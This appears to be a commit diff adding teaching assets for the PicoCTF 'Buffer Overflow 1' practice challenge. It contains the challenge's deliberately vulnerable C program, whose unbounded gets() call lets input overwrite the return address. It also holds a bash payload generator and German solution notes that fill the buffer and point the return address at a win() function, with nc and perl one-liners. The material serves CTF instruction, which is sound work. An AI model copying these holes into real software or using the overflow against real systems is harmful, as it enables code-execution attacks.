Add linux_intro presentation

assets/bof/picoctf/buffer_overflow_1/.gitignore

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+payload

assets/bof/picoctf/buffer_overflow_1/payload.sh

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+#!/usr/bin/env bash
+
+function repeat() {
+  n="${1}"
+  string="${2}"
+  printf "%${n}s" | tr " " "${string}"
+}
+
+function main() {
+  buffer_size="${1}"
+  address="${2}"
+  filler="$(repeat "${buffer_size}" A)"
+  newline="\n"
+  printf "%s%b%b" "${filler}" "${address}" "${newline}"
+}
+
+main "${@}"

assets/bof/picoctf/buffer_overflow_1/solution.md

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+# PicoCTF - Buffer Overflow 1
+
+https://play.picoctf.org/practice/challenge/258?category=6&page=1
+
+ * Buffergröße bestimmen
+ * Return Adresse überschreiben
+ * Adresse der Zielfunktion finden `nm -g -C vuln`
+ * Little Endian!
+ * `./payload.sh 44 "\xf6\x91\x04\x08" | nc ...`
+ * `perl -e 'print "A"x44 . "\xf6\x91\x04\x08\n"'`

assets/bof/picoctf/buffer_overflow_1/vuln.c

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+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include "asm.h"
+
+#define BUFSIZE 32
+#define FLAGSIZE 64
+
+void win() {
+  char buf[FLAGSIZE];
+  FILE *f = fopen("flag.txt","r");
+  if (f == NULL) {
+    printf("%s %s", "Please create 'flag.txt' in this directory with your",
+                    "own debugging flag.\n");
+    exit(0);
+  }
+
+  fgets(buf,FLAGSIZE,f);
+  printf(buf);
+}
+
+void vuln(){
+  char buf[BUFSIZE];
+  gets(buf);
+
+  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
+}
+
+int main(int argc, char **argv){
+
+  setvbuf(stdout, NULL, _IONBF, 0);
+  
+  gid_t gid = getegid();
+  setresgid(gid, gid, gid);
+
+  puts("Please enter your string: ");
+  vuln();
+  return 0;
+}
+